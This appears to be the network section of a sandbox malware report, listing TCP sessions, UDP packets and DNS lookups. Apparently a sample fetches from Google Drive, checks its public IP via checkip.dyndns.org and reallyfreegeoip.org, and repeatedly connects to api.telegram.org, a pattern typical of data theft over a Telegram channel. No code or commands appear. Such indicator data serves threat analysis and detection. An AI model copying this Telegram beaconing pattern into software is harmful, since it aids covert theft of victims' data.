Dec 17, 2024 08:43:36.441560030 CET	49810	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:36.561366081 CET	80	49810	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:37.644859076 CET	80	49810	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:37.646339893 CET	49813	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:37.646389008 CET	443	49813	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:37.646610022 CET	49813	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:37.647032022 CET	49813	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:37.647044897 CET	443	49813	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:37.696127892 CET	49810	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:39.009488106 CET	443	49813	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:39.011132002 CET	49813	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:39.011142969 CET	443	49813	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:39.011179924 CET	49813	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:39.011185884 CET	443	49813	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:39.650638103 CET	443	49813	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:39.650825024 CET	443	49813	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:39.650919914 CET	49813	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:39.653136969 CET	49813	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:39.655985117 CET	49810	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:39.657088041 CET	49819	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:39.776324034 CET	80	49810	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:39.776469946 CET	49810	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:39.776871920 CET	80	49819	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:39.776952982 CET	49819	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:39.777172089 CET	49819	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:39.896972895 CET	80	49819	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:40.981745958 CET	80	49819	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:40.983148098 CET	49825	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:40.983197927 CET	443	49825	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:40.983321905 CET	49825	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:40.983587027 CET	49825	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:40.983597040 CET	443	49825	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:41.024307013 CET	49819	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:42.345652103 CET	443	49825	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:42.347275972 CET	49825	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:42.347318888 CET	443	49825	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:42.347383976 CET	49825	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:42.347389936 CET	443	49825	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:42.965125084 CET	443	49825	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:42.965209007 CET	443	49825	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:42.965305090 CET	49825	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:42.965744972 CET	49825	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:42.968694925 CET	49819	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:42.969727993 CET	49830	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:43.088862896 CET	80	49819	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:43.089099884 CET	49819	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:43.089396954 CET	80	49830	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:43.089473963 CET	49830	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:43.089665890 CET	49830	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:43.211877108 CET	80	49830	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:44.294574976 CET	80	49830	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:44.295730114 CET	49834	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:44.295782089 CET	443	49834	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:44.295869112 CET	49834	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:44.296113968 CET	49834	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:44.296128035 CET	443	49834	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:44.336783886 CET	49830	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:45.656698942 CET	443	49834	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:45.658562899 CET	49834	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:45.658584118 CET	443	49834	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:45.658663988 CET	49834	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:45.658668995 CET	443	49834	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:46.291702032 CET	443	49834	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:46.291778088 CET	443	49834	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:46.291853905 CET	49834	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:46.292346001 CET	49834	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:46.295037031 CET	49830	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:46.296190023 CET	49838	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:46.415395021 CET	80	49830	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:46.415510893 CET	49830	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:46.415924072 CET	80	49838	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:46.415992975 CET	49838	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:46.416150093 CET	49838	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:46.537045002 CET	80	49838	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:47.623064995 CET	80	49838	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:47.624264002 CET	49844	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:47.624311924 CET	443	49844	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:47.624501944 CET	49844	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:47.624656916 CET	49844	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:47.624670029 CET	443	49844	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:47.664892912 CET	49838	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:48.985409021 CET	443	49844	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:48.987293959 CET	49844	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:48.987356901 CET	443	49844	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:48.987458944 CET	49844	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:48.987466097 CET	443	49844	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:49.603873968 CET	443	49844	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:49.603948116 CET	443	49844	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:49.604108095 CET	49844	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:49.604670048 CET	49844	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:49.608165026 CET	49838	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:49.609205008 CET	49849	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:49.728275061 CET	80	49838	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:49.728388071 CET	49838	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:49.728948116 CET	80	49849	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:49.729024887 CET	49849	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:49.729285002 CET	49849	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:49.848948956 CET	80	49849	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:50.932688951 CET	80	49849	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:50.934218884 CET	49852	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:50.934266090 CET	443	49852	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:50.934369087 CET	49852	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:50.934612989 CET	49852	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:50.934628010 CET	443	49852	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:50.977456093 CET	49849	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:52.296857119 CET	443	49852	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:52.298650026 CET	49852	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:52.298690081 CET	443	49852	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:52.298804998 CET	49852	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:52.298810959 CET	443	49852	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:52.956474066 CET	443	49852	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:52.956653118 CET	443	49852	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:52.956706047 CET	49852	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:52.956948996 CET	49852	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:52.959930897 CET	49849	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:52.960971117 CET	49858	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:53.080055952 CET	80	49849	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:53.080146074 CET	49849	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:53.080764055 CET	80	49858	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:53.080841064 CET	49858	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:53.080987930 CET	49858	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:53.200861931 CET	80	49858	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:54.284662962 CET	80	49858	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:54.285785913 CET	49861	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:54.285840988 CET	443	49861	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:54.286046982 CET	49861	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:54.286341906 CET	49861	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:54.286351919 CET	443	49861	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:54.336827040 CET	49858	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:55.651398897 CET	443	49861	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:55.653188944 CET	49861	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:55.653204918 CET	443	49861	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:55.653270006 CET	49861	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:55.653275967 CET	443	49861	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:56.280447006 CET	443	49861	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:56.280543089 CET	443	49861	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:56.280678034 CET	49861	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:56.281105042 CET	49861	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:56.284248114 CET	49858	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:56.285207987 CET	49867	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:56.404342890 CET	80	49858	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:56.404398918 CET	49858	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:56.405211926 CET	80	49867	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:56.405302048 CET	49867	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:56.405495882 CET	49867	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:56.525223970 CET	80	49867	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:57.631014109 CET	80	49867	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:57.642534971 CET	49871	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:57.642632008 CET	443	49871	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:57.642715931 CET	49871	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:57.642987013 CET	49871	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:57.643017054 CET	443	49871	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:57.680531025 CET	49867	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:59.014338970 CET	443	49871	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:59.015968084 CET	49871	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:59.015993118 CET	443	49871	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:59.016158104 CET	49871	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:59.016168118 CET	443	49871	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:59.666034937 CET	443	49871	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:59.666117907 CET	443	49871	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:59.666218042 CET	49871	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:59.666589022 CET	49871	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:59.669213057 CET	49867	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:59.670185089 CET	49877	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:59.789422035 CET	80	49867	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:59.789549112 CET	49867	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:59.789911985 CET	80	49877	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:59.790019035 CET	49877	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:59.790177107 CET	49877	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:59.910013914 CET	80	49877	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:00.996728897 CET	80	49877	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:00.999722004 CET	49880	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:00.999778032 CET	443	49880	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:00.999838114 CET	49880	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:01.000087976 CET	49880	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:01.000103951 CET	443	49880	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:01.040040016 CET	49877	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:02.361347914 CET	443	49880	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:02.385595083 CET	49880	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:02.385615110 CET	443	49880	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:02.385754108 CET	49880	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:02.385757923 CET	443	49880	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:02.995872021 CET	443	49880	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:02.996005058 CET	443	49880	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:02.996061087 CET	49880	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:02.996699095 CET	49880	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:03.000488997 CET	49877	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:03.001571894 CET	49886	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:03.120559931 CET	80	49877	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:03.120639086 CET	49877	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:03.121217966 CET	80	49886	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:03.121299028 CET	49886	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:03.121478081 CET	49886	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:03.241389990 CET	80	49886	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:04.325215101 CET	80	49886	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:04.326775074 CET	49890	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:04.326822996 CET	443	49890	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:04.328105927 CET	49890	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:04.328494072 CET	49890	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:04.328505993 CET	443	49890	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:04.368068933 CET	49886	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:05.692289114 CET	443	49890	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:05.694427013 CET	49890	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:05.694444895 CET	443	49890	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:05.694519043 CET	49890	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:05.694528103 CET	443	49890	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:06.403275967 CET	443	49890	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:06.403366089 CET	443	49890	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:06.403444052 CET	49890	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:06.403836966 CET	49890	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:06.407279015 CET	49886	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:06.408992052 CET	49896	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:06.527374983 CET	80	49886	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:06.527483940 CET	49886	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:06.528825998 CET	80	49896	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:06.528903961 CET	49896	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:06.529033899 CET	49896	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:06.648750067 CET	80	49896	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:07.736078024 CET	80	49896	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:07.737823963 CET	49899	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:07.737870932 CET	443	49899	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:07.737986088 CET	49899	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:07.738320112 CET	49899	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:07.738331079 CET	443	49899	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:07.790047884 CET	49896	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:09.100826979 CET	443	49899	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:09.102916956 CET	49899	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:09.102946997 CET	443	49899	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:09.103001118 CET	49899	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:09.103004932 CET	443	49899	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:09.804054976 CET	443	49899	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:09.804141998 CET	443	49899	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:09.804352045 CET	49899	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:09.804702997 CET	49899	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:09.807928085 CET	49896	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:09.809494019 CET	49905	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:09.927983999 CET	80	49896	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:09.928312063 CET	49896	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:09.929263115 CET	80	49905	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:09.929332972 CET	49905	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:09.929522038 CET	49905	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:10.049376965 CET	80	49905	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:11.265780926 CET	80	49905	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:11.267385006 CET	49910	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:11.267410040 CET	443	49910	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:11.267483950 CET	49910	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:11.267837048 CET	49910	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:11.267849922 CET	443	49910	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:11.321235895 CET	49905	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:12.629793882 CET	443	49910	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:12.631871939 CET	49910	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:12.631915092 CET	443	49910	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:12.631962061 CET	49910	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:12.631970882 CET	443	49910	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:13.335553885 CET	443	49910	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:13.335680008 CET	443	49910	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:13.335896015 CET	49910	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:13.336446047 CET	49910	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:13.340235949 CET	49905	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:13.341619015 CET	49915	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:13.461353064 CET	80	49905	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:13.461430073 CET	80	49915	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:13.461836100 CET	49905	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:13.462112904 CET	49915	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:13.462217093 CET	49915	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:13.582979918 CET	80	49915	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:14.697674990 CET	80	49915	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:14.699331999 CET	49918	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:14.699387074 CET	443	49918	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:14.699603081 CET	49918	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:14.699789047 CET	49918	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:14.699804068 CET	443	49918	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:14.743113041 CET	49915	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:16.059267044 CET	443	49918	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:16.063371897 CET	49918	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:16.063421965 CET	443	49918	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:16.063483000 CET	49918	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:16.063493013 CET	443	49918	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:16.782862902 CET	443	49918	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:16.782948017 CET	443	49918	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:16.783037901 CET	49918	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:16.783533096 CET	49918	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:16.786427021 CET	49915	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:16.787373066 CET	49924	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:16.906789064 CET	80	49915	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:16.906924963 CET	49915	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:16.907167912 CET	80	49924	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:16.907274008 CET	49924	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:16.907413960 CET	49924	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:17.027256012 CET	80	49924	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:18.116226912 CET	80	49924	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:18.164937973 CET	49924	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:44:20.809348106 CET	49935	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:20.809420109 CET	443	49935	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:20.809495926 CET	49935	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:20.809813976 CET	49935	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:20.809830904 CET	443	49935	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:22.169610023 CET	443	49935	149.154.167.220	192.168.2.4
Dec 17, 2024 08:44:22.211855888 CET	49935	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:44:22.335658073 CET	80	49753	158.101.44.242	192.168.2.4
Dec 17, 2024 08:44:22.335725069 CET	49753	80	192.168.2.4	158.101.44.242

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 08:42:55.316226959 CET	53128	53	192.168.2.4	1.1.1.1
Dec 17, 2024 08:42:55.454019070 CET	53	53128	1.1.1.1	192.168.2.4
Dec 17, 2024 08:42:58.350507021 CET	65389	53	192.168.2.4	1.1.1.1
Dec 17, 2024 08:42:58.589390993 CET	53	65389	1.1.1.1	192.168.2.4
Dec 17, 2024 08:43:03.310192108 CET	54400	53	192.168.2.4	1.1.1.1
Dec 17, 2024 08:43:03.452250957 CET	53	54400	1.1.1.1	192.168.2.4
Dec 17, 2024 08:43:05.965230942 CET	49310	53	192.168.2.4	1.1.1.1
Dec 17, 2024 08:43:06.105846882 CET	53	49310	1.1.1.1	192.168.2.4
Dec 17, 2024 08:43:13.587847948 CET	61699	53	192.168.2.4	1.1.1.1
Dec 17, 2024 08:43:13.818962097 CET	53	61699	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 08:42:55.316226959 CET	192.168.2.4	1.1.1.1	0x8f49	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:42:58.350507021 CET	192.168.2.4	1.1.1.1	0xb0f2	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:03.310192108 CET	192.168.2.4	1.1.1.1	0xdb86	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:05.965230942 CET	192.168.2.4	1.1.1.1	0x9ec4	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:13.587847948 CET	192.168.2.4	1.1.1.1	0x8443	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 08:42:55.454019070 CET	1.1.1.1	192.168.2.4	0x8f49	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:42:58.589390993 CET	1.1.1.1	192.168.2.4	0xb0f2	No error (0)	drive.usercontent.google.com		142.250.200.225	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:03.452250957 CET	1.1.1.1	192.168.2.4	0xdb86	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 08:43:03.452250957 CET	1.1.1.1	192.168.2.4	0xdb86	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:03.452250957 CET	1.1.1.1	192.168.2.4	0xdb86	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:03.452250957 CET	1.1.1.1	192.168.2.4	0xdb86	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:03.452250957 CET	1.1.1.1	192.168.2.4	0xdb86	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 17, 2024 08:43:03.452250957 CET	1.1.1.1	192.168.2.4	0xdb86	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
